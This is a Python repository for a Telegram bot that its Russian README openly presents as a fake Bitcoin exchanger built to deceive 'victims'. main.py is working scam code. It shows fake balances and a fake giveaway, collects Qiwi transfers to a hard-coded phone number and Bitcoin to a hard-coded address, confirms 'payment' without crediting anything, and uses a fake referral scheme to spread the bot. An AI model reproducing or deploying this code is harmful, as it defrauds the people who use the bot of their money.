├── .gitignore
├── README.md
├── constants.py
├── main.py
├── yobit.py
└── Мануал
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | build/
12 | develop-eggs/
13 | dist/
14 | downloads/
15 | eggs/
16 | .eggs/
17 | lib/
18 | lib64/
19 | parts/
20 | sdist/
21 | var/
22 | wheels/
23 | *.egg-info/
24 | .installed.cfg
25 | *.egg
26 | MANIFEST
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 | db.sqlite3
58 |
59 | # Flask stuff:
60 | instance/
61 | .webassets-cache
62 |
63 | # Scrapy stuff:
64 | .scrapy
65 |
66 | # Sphinx documentation
67 | docs/_build/
68 |
69 | # PyBuilder
70 | target/
71 |
72 | # Jupyter Notebook
73 | .ipynb_checkpoints
74 |
75 | # pyenv
76 | .python-version
77 |
78 | # celery beat schedule file
79 | celerybeat-schedule
80 |
81 | # SageMath parsed files
82 | *.sage.py
83 |
84 | # Environments
85 | .env
86 | .venv
87 | env/
88 | venv/
89 | ENV/
90 | env.bak/
91 | venv.bak/
92 |
93 | # Spyder project settings
94 | .spyderproject
95 | .spyproject
96 |
97 | # Rope project settings
98 | .ropeproject
99 |
100 | # mkdocs documentation
101 | /site
102 |
103 | # mypy
104 | .mypy_cache/
105 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # MorokBot
2 |
3 |
4 |
5 | МорокБот - совершенно уникальный бот для пассивного или полупассивного заработка, который будет жить еще довольно долго.
6 | - - - - -
7 | Особенности данного бота:
8 |
9 | • BTC - кошелек.
10 | • Фейковые ввод и вывод BTC.
11 | • Различные декоративные вкладки для повышения доверия жертвы.
12 | • Фейковые выводы на Яндекс.Деньги, Webmoney, Qiwi и Сбербанк.
13 | • Способы пополнения счета.
14 | • Автоматически изменяемый курс BTC.
15 | • Реалистичный процесс покупки и подтверждения транзакции.
16 | • Мануал по настройке и распространению бота.
17 | • Бот работает 24/7.
18 | • Постоянная поддержка.
19 | • Партнерская программа для пассивного распространения.
20 | - - - - -
21 | Контакты:
22 |
23 | Телеграм - https://t.me/emoc0re
24 | Уголок Хакера - https://t.me/hackblog
25 | BTC - 1GTNqHZdbbkGFRx1ULk4QNkCVjHumo78rn
26 |
--------------------------------------------------------------------------------
/constants.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #!usr/bin/env python
3 | token = "TOKEN"
4 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #!usr/bin/env python
3 | """
4 |
5 |
6 | __ __ _ ____ _
7 | | \/ | | | | _ \ | |
8 | | \ / | ___ _ __ ___ | | __ | |_) | ___ | |_
9 | | |\/| | / _ \ | '__| / _ \ | |/ / | _ < / _ \ | __|
10 | | | | | | (_) | | | | (_) | | < | |_) | | (_) | | |_
11 | |_| |_| \___/ |_| \___/ |_|\_\ |____/ \___/ \__|
12 |
13 |
14 |
15 | Фейковый обменник криптовалюты от @dsh1337
16 | Версия: 1.0
17 | Дата начала: 20.01.18
18 |
19 | """
20 | # БИБЛИОТЕКИ
21 | from yobit import bitprice
22 | from yobit import bitpriceUSD
23 | import cherrypy
24 | import random
25 | import telebot
26 | import constants
27 | from telebot import types
28 |
29 |
30 | # НАСТРОЙКА ВЕБХУКА
31 | WEBHOOK_HOST = 'IP'
32 | WEBHOOK_PORT = "80" # 443, 80, 88 или 8443 (порт должен быть открыт!)
33 | WEBHOOK_LISTEN = 'IP' # На некоторых серверах придется указывать такой же IP, что и выше
34 |
35 | WEBHOOK_SSL_CERT = './webhook_cert.pem' # Путь к сертификату
36 | WEBHOOK_SSL_PRIV = './webhook_pkey.pem' # Путь к приватному ключу
37 |
38 | WEBHOOK_URL_BASE = "https://%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT)
39 | WEBHOOK_URL_PATH = "/%s/" % (constants.token)
40 |
41 | bot = telebot.TeleBot(constants.token)
42 |
43 | class WebhookServer(object):
44 | @cherrypy.expose
45 | def index(self):
46 | if 'content-length' in cherrypy.request.headers and \
47 | 'content-type' in cherrypy.request.headers and \
48 | cherrypy.request.headers['content-type'] == 'application/json':
49 | length = int(cherrypy.request.headers['content-length'])
50 | json_string = cherrypy.request.body.read(length).decode("utf-8")
51 | update = telebot.types.Update.de_json(json_string)
52 | # Эта функция обеспечивает проверку входящего сообщения
53 | bot.process_new_updates([update])
54 | return ''
55 | else:
56 | raise cherrypy.HTTPError(403)
57 |
58 | bot.remove_webhook()
59 | bot.set_webhook(url=WEBHOOK_URL_BASE + WEBHOOK_URL_PATH,
60 | certificate=open(WEBHOOK_SSL_CERT, 'r'))
61 |
62 | cherrypy.config.update({
63 | 'server.socket_host': WEBHOOK_LISTEN,
64 | 'server.socket_port': WEBHOOK_PORT,
65 | 'server.ssl_module': 'builtin',
66 | 'server.ssl_certificate': WEBHOOK_SSL_CERT,
67 | 'server.ssl_private_key': WEBHOOK_SSL_PRIV
68 | })
69 |
70 | print(bot.get_me())
71 | def log(message, answer):
72 | print ('\n --------')
73 | from datetime import datetime
74 | print (datetime.now())
75 | print("Сообщение от {0} {1}. (id ={2}) \n Текст = {3}".format (message.from_user.first_name,
76 | message.from_user.last_name,
77 | str(message.from_user.id),
78 | message.text))
79 | print (answer)
80 |
81 | # САМ СКРИПТ БОТА | НУЖНО ИЗМЕНИТЬ НАЗВАНИЕ И НОМЕРА КОШЕЛЬКОВ. НЕ ЗАБУДЬ ИЗМЕНИТЬ ССЫЛКУ В "ПАРТНЕРАМ"
82 |
83 | @bot.message_handler(commands=['start'])
84 |
85 | def handle_start(message):
86 | userref = random.randint(10000, 99999)
87 | user_markup = telebot.types.ReplyKeyboardMarkup(True)
88 | user_markup.row('💼 Кошелек', '📊 Обмен BTC')
89 | user_markup.row('🚀 О сервисе', '📌 Акция')
90 | user_markup.row('👔 Партнерам')
91 | bot.send_message(message.from_user.id,
92 | '💰Exchanger BTC - это моментальный обмен Bitcoin на Qiwi, Сбербанк, Яндекс.Деньги и Webmoney, а так же бесплатное хранилище Ваших BTC.', reply_markup=user_markup, parse_mode='HTML')
93 |
94 | @bot.message_handler(content_types=['text'])
95 | def handle_text(message):
96 |
97 | if message.text == "🚀 О сервисе":
98 | bot.send_message(message.from_user.id, "🚀 О сервисе \n \nСервис для обмена Bitcoin. \nПополняй внутренний кошелек с помощью Qiwi или внешнего Bitcoin-кошелька.\n \n"
99 | "Продавай эти BTC для вывода на Сбербанк, Яндекс.Деньги, Webmoney и Qiwi. Или выводи на свой внешний Bitcoin-адрес.\n \n"
100 | "У нас установлено ограничение минимального (500 рублей) и максмального (10 000 рублей) единовременного платежа.", parse_mode='HTML')
101 | if message.text == "📌 Акция":
102 | bot.send_message(message.from_user.id, "📌 Акция" "\n \nExchanger BTC проводит розыгрыш на 0.3 BTC\n \n"
103 | "Для участия в конкурсе надо лишь пользоваться нашим сервисом в период с 01.01.2018 до 01.03.2018 и иметь остаток на балансе 0.0006 BTC.\n \n"
104 | "Этот остаток так же принадлежит Вам, это не плата за участие, после конкурса, даже в случае победы, никакая комиссия взиматься не будет.\n \n"
105 | "Опредление победителя будет проходить в прямой трансляции на площадке YouTube 1 февраля 2018 года в 20:00 по Московскому времени.\n \n"
106 | "За 3 часа до начала Вам придет оповещение с ссылкой на трансляцию.", parse_mode='HTML')
107 | if message.text == "💼 Кошелек":
108 | keyboard = types.InlineKeyboardMarkup()
109 | callback_button = types.InlineKeyboardButton(text="📉 Вывести BTC", callback_data="📉 Вывести BTC")
110 | callback_button2 = types.InlineKeyboardButton(text="📈 Ввести BTC", callback_data="📈 Ввести BTC")
111 | keyboard.add(callback_button, callback_button2)
112 | bot.send_message(message.from_user.id, "💼 Bitcoin-кошелек\n \n"
113 | "Баланс: 0.00 BTC\nПримерно: 0 руб\n \n"
114 | "Всего вывели: 0.00 BTC (0 руб)\nВсего пополнили: 0.00 BTC (0 руб)", parse_mode='HTML', reply_markup=keyboard)
115 | if message.text == "📊 Обмен BTC":
116 | keyboard4 = types.InlineKeyboardMarkup()
117 | callback_button6 = types.InlineKeyboardButton(text="📈 Купить", callback_data="📈 Купить")
118 | callback_button7 = types.InlineKeyboardButton(text="📉 Продать", callback_data="📉 Продать")
119 | keyboard4.add(callback_button6, callback_button7)
120 | bot.send_message(message.from_user.id, "📊 Обмен BTC\n \n"
121 | "Бот работает полностью в автоматическом режиме. Средства поступают моментально.", parse_mode='HTML', reply_markup=keyboard4)
122 | if message.text == "👔 Партнерам":
123 | bot.send_message(message.from_user.id, "👔 Партнерам \n \nПриглашайте новых пользователей и получайте пассивный доход от комиссий бота, создав свой личный обменник. \n \n"
124 | "Ваша комиссия от оборота: 1% \n \n"
125 | "Например: ваш подписчик проводит сделку на сумму 1 BTC, а вы получаете 0.01 BTC (6369.31 RUB) дивидендов. \n \n"
126 | "Партнерская программа бессрочна, не имеет лимита приглашений и начинает действовать моментально. \n \n"
127 | "Учтите, что для достижения хороших результатов необходимо внимательно подходить к поиску целевой аудитории и привлекать только тех, кто будет покупать или продавать BTC.", parse_mode='HTML' )
128 | bot.send_message(message.from_user.id, "Ваша реферальная ссылка: \nhttps://t.me/QIWI_BTC_mixerbot?start=80As346kMn")
129 | @bot.callback_query_handler(func=lambda c: True)
130 | def inline(c):
131 | if c.data == '📉 Вывести BTC':
132 | keyboard2 = types.InlineKeyboardMarkup()
133 | callback_button3 = types.InlineKeyboardButton(text="📈 Купить", callback_data="📈 Купить")
134 | keyboard2.add(callback_button3)
135 | bot.edit_message_text(
136 | chat_id=c.message.chat.id,
137 | message_id=c.message.message_id,
138 | text = '📉 Вывести BTC\n\n'
139 | '⚠️У вас недостаточно BTC.\n'
140 | 'Мининимальная сумма вывода: 0.0008 BTC' , parse_mode='HTML',
141 | reply_markup=keyboard2)
142 |
143 | if c.data == '📉 Продать':
144 | keyboard5 = types.InlineKeyboardMarkup()
145 | callback_button8 = types.InlineKeyboardButton(text="Qiwi", callback_data="Перевод")
146 | callback_button9 = types.InlineKeyboardButton(text="Сбербанк", callback_data="Перевод")
147 | callback_button10 = types.InlineKeyboardButton(text="WebMoney", callback_data="Перевод")
148 | callback_button11 = types.InlineKeyboardButton(text="Яндекс.Деньги", callback_data="Перевод")
149 | keyboard5.add(callback_button8, callback_button9, callback_button10, callback_button11)
150 | bot.edit_message_text(
151 | chat_id=c.message.chat.id,
152 | message_id=c.message.message_id,
153 | text = '📉 Продать\n\n'
154 | 'Продажа BTC осуществляется списыванием с Вашего внутреннего Bitcoin-кошелька и последующая отправка рублей на выбранную Вами площадку.\n\n'
155 | 'Куда Вы хотите вывести BTC?' , parse_mode='HTML',
156 | reply_markup=keyboard5)
157 |
158 | if c.data == 'Перевод':
159 | keyboard6 = types.InlineKeyboardMarkup()
160 | callback_button12 = types.InlineKeyboardButton(text="📈 Купить", callback_data="📈 Купить")
161 | keyboard6.add(callback_button12)
162 | bot.edit_message_text(
163 | chat_id=c.message.chat.id,
164 | message_id=c.message.message_id,
165 | text='⚠ У вас недостаточно BTC\n'
166 | 'Минимальная сумма вывода: 0.0006 BTC', parse_mode='HTML', reply_markup=keyboard6)
167 |
168 | elif c.data == '📈 Ввести BTC':
169 | bot.edit_message_text(
170 | chat_id = c.message.chat.id,
171 | message_id = c.message.message_id,
172 | text = '📈 Внести BTC\n \n'
173 | 'Чтобы пополнить Bitcoin-кошелек, Вам надо перевести Ваши BTC на многоразовый адрес который будет указан ниже.\n \n'
174 | 'После перевода и подтверждения 1 транзакции, Ваши BTC будут отображаться у Вас в кошельке.\n'
175 | 'И вы их сможете вывести на любую другую платформу, или перевести на внешний Bitcoin-адрес.\n', parse_mode='HTML')
176 | bot.send_message(c.message.chat.id, "1PfDHg7pgX2pu6W3c4jBp7jiUiYSsYEH1J", parse_mode='HTML')
177 |
178 | if c.data == '📈 Купить':
179 | keyboard3 = types.InlineKeyboardMarkup()
180 | callback_button4 = types.InlineKeyboardButton(text="💵 Qiwi", callback_data="💵 Qiwi")
181 | callback_button5 = types.InlineKeyboardButton(text="💵 Bitcoin", callback_data="📈 Ввести BTC")
182 | keyboard3.add(callback_button4, callback_button5)
183 | bot.edit_message_text(
184 | chat_id=c.message.chat.id,
185 | message_id=c.message.message_id,
186 | text='📈 Купить\n \n'
187 | 'Покупка BTC производится с помощью Qiwi или переводом на многоразовый Bitcoin-адрес с внешнего кошелька.\n \n'
188 | 'Выберите способ пополнения', parse_mode='HTML',
189 | reply_markup=keyboard3
190 | )
191 |
192 | if c.data == '💵 Qiwi':
193 | keyboard7 = types.InlineKeyboardMarkup()
194 | callback_button13 = types.InlineKeyboardButton(text="500₽", callback_data="Перевод2")
195 | callback_button14 = types.InlineKeyboardButton(text="750₽", callback_data="Перевод3")
196 | callback_button15 = types.InlineKeyboardButton(text="1000₽", callback_data="Перевод4")
197 | callback_button16 = types.InlineKeyboardButton(text="2000₽", callback_data="Перевод5")
198 | callback_button17 = types.InlineKeyboardButton(text="3000₽", callback_data="Перевод6")
199 | callback_button18 = types.InlineKeyboardButton(text="4000₽", callback_data="Перевод7")
200 | callback_button19 = types.InlineKeyboardButton(text="5000₽", callback_data="Перевод8")
201 | callback_button20 = types.InlineKeyboardButton(text="6000₽", callback_data="Перевод9")
202 | callback_button21 = types.InlineKeyboardButton(text="7000₽", callback_data="Перевод10")
203 | callback_button22 = types.InlineKeyboardButton(text="8000₽", callback_data="Перевод11")
204 | callback_button23 = types.InlineKeyboardButton(text="9000₽", callback_data="Перевод12")
205 | callback_button24 = types.InlineKeyboardButton(text="10000₽", callback_data="Перевод13")
206 | keyboard7.add(callback_button13, callback_button14, callback_button15, callback_button16, callback_button17, callback_button18,
207 | callback_button19, callback_button20, callback_button21, callback_button22, callback_button23, callback_button24)
208 | bot.edit_message_text(
209 | chat_id=c.message.chat.id,
210 | message_id=c.message.message_id,
211 | text = '💵 Qiwi\n \n'
212 | 'Выберите сумму в RUB которую хотите получить в BTC.\n'
213 | 'Для этого нажмите по одной из кнопок ниже. Максимальная сумма пополнения за раз - 10 000 RUB.\n \n'
214 | 'Курс обмена:\n'
215 | '
1 BTC = ' + str(bitprice + 100000) + ' RUB\n' 216 | '
1 BTC = ' + str(bitpriceUSD + 800) + ' USD', parse_mode='HTML', reply_markup=keyboard7) 217 | 218 | if c.data == 'Перевод2': 219 | keyboard8 = types.InlineKeyboardMarkup() 220 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 221 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 222 | keyboard8.add (callback_button25, callback_button26) 223 | bot.edit_message_text( 224 | chat_id=c.message.chat.id, 225 | message_id=c.message.message_id, 226 | text="Для покупки BTC совершите перевод 500₽ на номер, который будет указан ниже. \n\n" 227 | "⚠ Комментарий обязателен.", parse_mode='HTML') 228 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 229 | "Комментарий: " + str(random.randint(10000, 99999)), parse_mode='HTML', reply_markup=keyboard8) 230 | 231 | if c.data == 'Перевод3': 232 | keyboard8 = types.InlineKeyboardMarkup() 233 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 234 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 235 | keyboard8.add(callback_button25, callback_button26) 236 | bot.edit_message_text( 237 | chat_id=c.message.chat.id, 238 | message_id=c.message.message_id, 239 | text="Для покупки BTC совершите перевод 750₽ на номер, который будет указан ниже. \n\n" 240 | "⚠ Комментарий обязателен.", parse_mode='HTML') 241 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 242 | "Комментарий: " + str(random.randint(10000, 99999)), 243 | parse_mode='HTML', reply_markup=keyboard8) 244 | 245 | if c.data == 'Перевод4': 246 | keyboard8 = types.InlineKeyboardMarkup() 247 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 248 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 249 | keyboard8.add(callback_button25, callback_button26) 250 | bot.edit_message_text( 251 | chat_id=c.message.chat.id, 252 | message_id=c.message.message_id, 253 | text="Для покупки BTC совершите перевод 1000₽ на номер, который будет указан ниже. \n\n" 254 | "⚠ Комментарий обязателен.", parse_mode='HTML') 255 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 256 | "Комментарий: " + str(random.randint(10000, 99999)), 257 | parse_mode='HTML', reply_markup=keyboard8) 258 | 259 | if c.data == 'Перевод5': 260 | keyboard8 = types.InlineKeyboardMarkup() 261 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 262 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 263 | keyboard8.add(callback_button25, callback_button26) 264 | bot.edit_message_text( 265 | chat_id=c.message.chat.id, 266 | message_id=c.message.message_id, 267 | text="Для покупки BTC совершите перевод 2000₽ на номер, который будет указан ниже. \n\n" 268 | "⚠ Комментарий обязателен.", parse_mode='HTML') 269 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 270 | "Комментарий: " + str(random.randint(10000, 99999)), 271 | parse_mode='HTML', reply_markup=keyboard8) 272 | 273 | if c.data == 'Перевод6': 274 | keyboard8 = types.InlineKeyboardMarkup() 275 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 276 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 277 | keyboard8.add(callback_button25, callback_button26) 278 | bot.edit_message_text( 279 | chat_id=c.message.chat.id, 280 | message_id=c.message.message_id, 281 | text="Для покупки BTC совершите перевод 3000₽ на номер, который будет указан ниже. \n\n" 282 | "⚠ Комментарий обязателен.", parse_mode='HTML') 283 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 284 | "Комментарий: " + str(random.randint(10000, 99999)), 285 | parse_mode='HTML', reply_markup=keyboard8) 286 | 287 | if c.data == 'Перевод7': 288 | keyboard8 = types.InlineKeyboardMarkup() 289 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 290 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 291 | keyboard8.add(callback_button25, callback_button26) 292 | bot.edit_message_text( 293 | chat_id=c.message.chat.id, 294 | message_id=c.message.message_id, 295 | text="Для покупки BTC совершите перевод 4000₽ на номер, который будет указан ниже. \n\n" 296 | "⚠ Комментарий обязателен.", parse_mode='HTML') 297 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 298 | "Комментарий: " + str(random.randint(10000, 99999)), 299 | parse_mode='HTML', reply_markup=keyboard8) 300 | 301 | if c.data == 'Перевод8': 302 | keyboard8 = types.InlineKeyboardMarkup() 303 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 304 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 305 | keyboard8.add(callback_button25, callback_button26) 306 | bot.edit_message_text( 307 | chat_id=c.message.chat.id, 308 | message_id=c.message.message_id, 309 | text="Для покупки BTC совершите перевод 5000₽ на номер, который будет указан ниже. \n\n" 310 | "⚠ Комментарий обязателен.", parse_mode='HTML') 311 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 312 | "Комментарий: " + str(random.randint(10000, 99999)), 313 | parse_mode='HTML', reply_markup=keyboard8) 314 | 315 | if c.data == 'Перевод9': 316 | keyboard8 = types.InlineKeyboardMarkup() 317 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 318 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 319 | keyboard8.add(callback_button25, callback_button26) 320 | bot.edit_message_text( 321 | chat_id=c.message.chat.id, 322 | message_id=c.message.message_id, 323 | text="Для покупки BTC совершите перевод 6000₽ на номер, который будет указан ниже. \n\n" 324 | "⚠ Комментарий обязателен.", parse_mode='HTML') 325 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 326 | "Комментарий: " + str(random.randint(10000, 99999)), 327 | parse_mode='HTML', reply_markup=keyboard8) 328 | 329 | if c.data == 'Перевод10': 330 | keyboard8 = types.InlineKeyboardMarkup() 331 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 332 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 333 | keyboard8.add(callback_button25, callback_button26) 334 | bot.edit_message_text( 335 | chat_id=c.message.chat.id, 336 | message_id=c.message.message_id, 337 | text="Для покупки BTC совершите перевод 7000₽ на номер, который будет указан ниже. \n\n" 338 | "⚠ Комментарий обязателен.", parse_mode='HTML') 339 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 340 | "Комментарий: " + str(random.randint(10000, 99999)), 341 | parse_mode='HTML', reply_markup=keyboard8) 342 | 343 | if c.data == 'Перевод11': 344 | keyboard8 = types.InlineKeyboardMarkup() 345 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 346 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 347 | keyboard8.add(callback_button25, callback_button26) 348 | bot.edit_message_text( 349 | chat_id=c.message.chat.id, 350 | message_id=c.message.message_id, 351 | text="Для покупки BTC совершите перевод 8000₽ на номер, который будет указан ниже. \n\n" 352 | "⚠ Комментарий обязателен.", parse_mode='HTML') 353 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 354 | "Комментарий: " + str(random.randint(10000, 99999)), 355 | parse_mode='HTML', reply_markup=keyboard8) 356 | 357 | if c.data == 'Перевод12': 358 | keyboard8 = types.InlineKeyboardMarkup() 359 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 360 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 361 | keyboard8.add(callback_button25, callback_button26) 362 | bot.edit_message_text( 363 | chat_id=c.message.chat.id, 364 | message_id=c.message.message_id, 365 | text="Для покупки BTC совершите перевод 9000₽ на номер, который будет указан ниже. \n\n" 366 | "⚠ Комментарий обязателен.", parse_mode='HTML') 367 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 368 | "Комментарий: " + str(random.randint(10000, 99999)), 369 | parse_mode='HTML', reply_markup=keyboard8) 370 | 371 | if c.data == 'Перевод13': 372 | keyboard8 = types.InlineKeyboardMarkup() 373 | callback_button25 = types.InlineKeyboardButton(text="✅ Оплатил", callback_data="Оплатил") 374 | callback_button26 = types.InlineKeyboardButton(text="❌ Отказаться", callback_data="Отказаться") 375 | keyboard8.add(callback_button25, callback_button26) 376 | bot.edit_message_text( 377 | chat_id=c.message.chat.id, 378 | message_id=c.message.message_id, 379 | text="Для покупки BTC совершите перевод 10000₽ на номер, который будет указан ниже. \n\n" 380 | "⚠ Комментарий обязателен.", parse_mode='HTML') 381 | bot.send_message(c.message.chat.id, "Номер: +37378181992\n" 382 | "Комментарий: " + str(random.randint(10000, 99999)), 383 | parse_mode='HTML', reply_markup=keyboard8) 384 | 385 | if c.data == 'Оплатил': 386 | bot.edit_message_text( 387 | chat_id=c.message.chat.id, 388 | message_id=c.message.message_id, 389 | text= "✅ Отлично\n\n" 390 | "Если вы правильно произвели перевод, то течение пяти минут бот обработает его и зачислит BTC на ваш счет. " 391 | "Если же вы допустили ошибку при переводе, то напишите в службу поддержки @BitcomatHelpBot. " 392 | "Благодарим вас за выбор Exchanger BTC.\n", parse_mode='HTML') 393 | 394 | if c.data == 'Отказаться': 395 | bot.edit_message_text( 396 | chat_id=c.message.chat.id, 397 | message_id=c.message.message_id, 398 | text= "⚠ Вы можете приобрести BTC в любое другое время.\n", parse_mode='HTML') 399 | 400 | 401 | cherrypy.quickstart(WebhookServer(), WEBHOOK_URL_PATH, {'/': {}}) 402 | -------------------------------------------------------------------------------- /yobit.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | #!usr/bin/env python 3 | import requests 4 | 5 | r = requests.get('https://blockchain.info/ru/ticker') 6 | bitprice = (r.json()['RUB']['buy']) 7 | bitpriceUSD = (r.json()['USD']['buy']) 8 | 9 | -------------------------------------------------------------------------------- /Мануал: -------------------------------------------------------------------------------- 1 | https://drive.google.com/file/d/1kz2ne-K5kJGMDyHMmqHRu5of_gsDVL5Y/view?ths=true 2 | --------------------------------------------------------------------------------